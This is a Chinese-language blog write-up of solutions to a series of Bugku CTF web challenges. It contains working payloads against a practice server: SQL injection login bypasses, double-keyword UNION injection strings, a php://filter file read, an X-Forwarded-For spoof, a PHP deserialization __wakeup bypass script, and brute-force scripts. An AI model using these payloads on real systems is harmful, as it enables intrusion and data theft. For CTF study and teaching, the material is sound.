bugku论剑场web解题记录
前言
国庆这几天感觉没什么好玩的地方,家又离的太远,弱鸡的我便决定刷刷题涨涨知识,于是就有了这篇文章。。
正文
写的不对的地方欢迎指正
web26
打开直接就是代码,这应该就是一道代码审计的题了
这里主要需要绕过第一个正则匹配,同时要令$result为真就能得到flag了
\d+匹配多个数字字符
s 特殊字符圆点 . 中包含换行符
D 如果使用$限制结尾字符,则不匹配结尾换行;(详细可百度正则表达式修饰符)
这里的/\d+/sD是用来匹配数字,只需字符串就可以绕过
is_numeric() 函数用于检测变量是否为数字或数字字符串。
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
注意
运算符=(且等号是右联,即右边等于左边)优先于and,即程序执行时会先执行等号在执行and
只需第一个两个if都为true即可得flag
构造?str=a&num=1
web1
isset() 函数用于检测变量是否已设置并且非 NULL。
如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。
若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。
同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。
PHP 版本要求: PHP 4, PHP 5, PHP 7
注意:如果$a='',还是会返回ture
extract()会覆盖已有变量
file_get_contents()
当它读取不存在的文件时会报错,返回空值,但是程序会继续往下执行(直接读取字符串也返回空值)
于是构造?a=
web9
提示
这里需要用到RESTful API的put方法
命令行执行curl -X PUT -d "bugku" http://123.206.31.85:3031/
-X指定请求方式 -d 接传入的数据
然后解密即可
RESTful API简单介绍
1. REST 是Repersentational State Transfer的缩写
直接翻译的意思是"表现层状态转化"。
它是一种互联网应用程序的API设计理念:URL定位资源,用HTTP动词(GET,POST,DELETE,DETC)描述操作。
URI 即统一资源标识符,服务器上每一种资源,比如文档、图像、视频片段、程序 都由一个通用资源标识符(Uniform Resource Identifier, 简称"URI")进行定位。
HTTP动词 常用的HTTP动词有下面五个
-
-
- GET(SELECT):从服务器取出资源(一项或多项)。
- POST(CREATE):在服务器新建一个资源。
- PUT(UPDATE):在服务器更新资源(客户端提供改变后的完整资源)。
- PATCH(UPDATE):在服务器更新资源(客户端提供改变的属性)。
- DELETE(DELETE):从服务器删除资源。
-
RESTful架构
服务器上每一种资源,比如一个文件,一张图片,一部电影,都有对应的url地址,如果我们的客户端需要对服务器上的这个资源进行操作,就需要通过http协议执行相应的动作来操作它,比如进行获 取,更新,删除。
简单来说就是url地址中只包含名词表示资源,使用http动词表示动作进行操作资源
举个例子:
GET /blog/Articles 获取所有文章
POST /blog/Articles 添加一篇文章
PUT /blog/Articles 修改一篇文章
DELETE /blog/Articles/1 删除一篇文章
RESTful API示例(2)下面举几个RESTful API的例子,假设下面是一个学校学生信息的项目
- URL: http://localhost/student
- GET /student 获取学生列表
- POST /student 新学员报到
- GET /student/110 获取ID为110的学生信息
- PUT /student/110 修改ID为110的学生信息
- DELETE /student/110 删除ID为110的学生信息
- GET /student/110/home 获取ID为110的学生的家庭信息
web2
每次访问式子都不一样,这里要用到脚本了
import re import requests url = 'http://123.206.31.85:10002/' r = requests.session() text = r.get(url).text calc = str(re.findall("(.*?)</p>", text))[2:-2] ans = eval(calc) data = {'result':ans} res = r.post(url, data) print(res.text)
web6
看到本地,于是伪造本地登陆
X-Forwarded-For:127.0.0.1
在访问
查看源码
解码test123再登录,就可以看到flag
xff简单介绍
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说,就是浏览器访问网站的IP。
X-Forwarded-For: client1, proxy1, proxy2, proxy3
左边第一个是浏览器IP,依次往右为第一个代理服务器IP,第二个,第三个(使用逗号+空格进行分割)(因此在代码中获取XFF 头信息中的第一个元素即为真实客户端IP)
很多系统简单的获取XFF头中定义的IP地址设置为来源地址,进行访问控制,攻击者可以篡改HTTP请求包中XFF项进行IP地址伪造。
利用方式
可以通过专门的抓包改包工具或者浏览器插件或者使用脚本语言构造headers参数
web3
以为是文件上传之类的
上传php出现
估计用了白名单
上传png出现
说是尺寸不符
改了图片尺寸后出现(无法加载)
于是在传一个正常可以加载的png图片马,成功
点击可以view看到绝对路径
http://123.206.31.85:10003/uploads/5c1516df1ae918f9b79657437cafa780b746d843.png
尝试包含http://123.206.31.85:10003/?op=uploads/5c1516df1ae918f9b79657437cafa780b746d843.png
却反回没有这个界面,然后就有点懵。。。
后来发现的确是个文件包含,但它是结合文件读取来拿flag
通过php://filter协议来查看源文件内容
php://filter/convert.base64-encode/resource=flag
就能得到flag
web4
看到登录框
首先尝试各种弱口令无果,判断sql注入也没有任何回显
再尝试万能密码
这里是通过闭合够造的万能密码,注入点在password处,用户名随便(估计sql语句只用到了password)
' or '1'='1
登陆成功后,直接返回flag
web11
看到页面名有robots
于是访问
在访问shell.php
截取某个值md5加密后的前6位相等才会返回flag
无法找到后面的值是怎么生成的(每次刷新都不一样)
看大佬文章说是可以爆破(通常题目不会太难我们可以纯数字爆破,难一点的应该会有提示)
于是脚本爆破
import hashlib def md5(key): m = hashlib.md5() m.update(key.encode('utf-8')) return m.hexdigest() for i in range(1000000000):#i等于从零开始 if md5(str(i))[0:6] == '66f021':#把i转化为字符串,对字符串里面的内容加密在截取0到6位比较 print(i) break
web18
题目说是ezsql,又看到id,sql注入没跑的了
然后就是找注入点
?id=1' 空白
?id=1'--+ 正常
应该是单引号闭合
?id=1' and 1=1--+ 空白估计是有过滤
?id=1' or 1=1--+ 空白
?id=1' || 1=1--+ 正常
?id=1' && 1=1--+ 空白
应该是把and,or过滤了
又试了一下?id=1' oorr 1=1--+ 正常
应该是双写绕过了
这里or,and,select,union等等都过滤了
判断回显为
?id=1' oorrder by 3--+ 正常
?id=1' oorrder by 4--+ 不正常
?id=1' anandd 1=2 UUNIONnion sSELECTelect 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+
然后就正常注入找表找列找字段
?id=-2' uniounionn selecselectt 1,2,group_concat(flag) from flag--+
web24
打开是个商城无论点哪里都没用dirsearch扫目录,发现有个index目录,访问
从提示的flag.php来看,这题主要是想要我们通过__destruct读取文件了
分析
__construct当一个对象创建时被调用;
__destruct当一个对象销毁时被调用(在php脚本结束时调用);
__wakeup当一个对象被反序列化的时候调用
__wakeup里面的代码为了把传入的变量flie变为index.php
__construct是令$this->flie等于flie
而flie是可控的
反序列化后会先调用魔术方法__wakeup(),再调用__construct(),即无论我们令flie等于多少,再反序列化后都会被重新赋值为index.php
因此我们要绕过__wakeup()函数
一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数(当序列化字符串当中属性个数值大于实际的属性个数时,就会导致反序列化异常,从而跳过__wakeup函数)
所以只需要改变对象属性个数就可以绕过__wakeup()函数,即把对象属性个数”:1:”改成”:2:”脚本如下
<?php
class Small_white_rabbit{
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the_f1ag.php
$this->file = 'index.php';
}
}
}
$a=new Small_white_rabbit('the_f1ag.php');
$b = serialize($a);
$s = preg_replace('/:1:/', ':2:', $b);
echo base64_encode($s);
?>
http://123.206.31.85:10024/index?var=TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoyOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==
直接传入即可
web23
访问网站什么也没有,扫目录
访问readme.txt
提示密码只有三位数
访问admin/login.html
正常输入
抓包爆破
密码为677
然后配合验证码登陆即可
实际上从它的主页来看是想让我们绕过验证码登陆
流量分析
下载后
wireshark打开
右键追踪tcp流即可
日志审计
打开后通常全局搜flag
经过处理后
发现有很多如下语句页面返回是200,说明注入成功(此语句是sql盲注)
hence' AND ORD(MID((SELECT IFNULL(CAST(secret AS CHAR),0x20) FROM haozi.secrets ORDER BY secret LIMIT 0,1),1,1))=102-- pZaF
经整理
102,108,97,103,123,109,97,121,105,121,97,104,101,105,49,57,54,53,97,101,55,53,54,57,125,
在将它十进制转ascll字符就行
web13
源码,扫目录都无提示
无论输入什么都是
Wrong answer!
抓包发现响应包中有
提示:眼见为实,也许您需要更快
把上面的base64解码有个假flag
令password等于flag里面的值发送
返回不在是wrong
而是说我们要更快
显然这里得用到脚本了
推测需要先发送一个请求截取Password字段,然后base解密取flag{}内包含的值作为password的值发包,速度要快。
import requests import base64 url = 'http://123.206.31.85:10013/index.php' r = requests.session()#建立会话,r相当于请求包 r1 = r.post(url, data = {'password':'flag'})#rpost发送password,r1相当于它的响应包 Password = r1.headers['Password']#获取r1的Password对应的值 password = str(base64.b64decode(Password), 'utf-8')[5:-1]#对它解码,后面是把Password转化为二进制格式在解码,因为加解密都不能直接对字符串解码 r2 = r.post(url, data = {'password':password}) print(r2.text)
web20
说是提交密文,但每次提交密文都会改变
猜测可能是我们提交的太慢了于
是拿web2的脚本修改一下
这需要多运行几次才能看到flag
import re import requests url = 'http://123.206.31.85:10020/' r = requests.session()#建立会话 text = r.get(url).text#获取此页面内容 print("~~~~~~~~~~~~~~~~~~") print(text) print("~~~~~~~~~~~~~") calc = str(re.findall(r'^(.*?)<br/>', text))[-35:-2]#正则匹配我们需要的密文 print("~~~~~~~~~~~~~~")# print(calc) print("~~~~~~~~~~~~~``") #ans = eval(calc)#计算 data = {'key':calc}#把值传给key res = r.get(url, params=data)#在r这个会话中传入get值,把返回的内容传给res print(res.text) print("~~~~~~~~~~") print(res.url)
web25
这题主要还是看脑洞吧
进去说鬼知道是啥
扫目录有个check.php,shell.php
查看各种源码都没提示
看来一定要输对值才行
下载应该有用
直接访问不行
删掉2后可以访问
看到flag以为要自己拼
尝试无果
一个一个在主页试不行
后来在shell那里试可以
web10
首先查看源码
base32解码得
kk:kk123
估计是用户名和密码
登陆
提示vim,且说L3yx的网站有秘密,flag应该就在L3yx的网站里了
估计于.swp文件泄露有关
Linux下的vim编辑器在非正常退出的情况下会自动生成swp后缀的备份文件(.(filename).swp),比如编辑a.php异常退出时会产生 .a.php.swp
我们登录后在重新访问能直接看到目录
直接找到.swp
linux系统下
使用vi -r L3yx.php.swp
可以恢复文件
不知道jwt的我赶紧了解了一下http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html了解后就可以这题主要就是想让我们同过jwt的检验机制登录了
jwt的前两部分可以直接base64解密看到,而第三部分签名的密钥应该就是源码里的key了这样的话我们就可以自己构造JWT 令牌(也就是token)了
从源码中可以看出其它三个是固定的,主要还是靠account来确定进入哪个用户
这里我们就直接访问user.php,把抓到的token前两部分解码
web15
源码什么也没有,扫目录发现有index.php但会自动跳转
抓包发现hint: 4D525757593544474D34365432
先base16在32在64
结果提示:vim~
那应该与swp有关
在1ndex.php提交一直没用(回显不是这里,估计得在index.php提交)
持续更新中~~~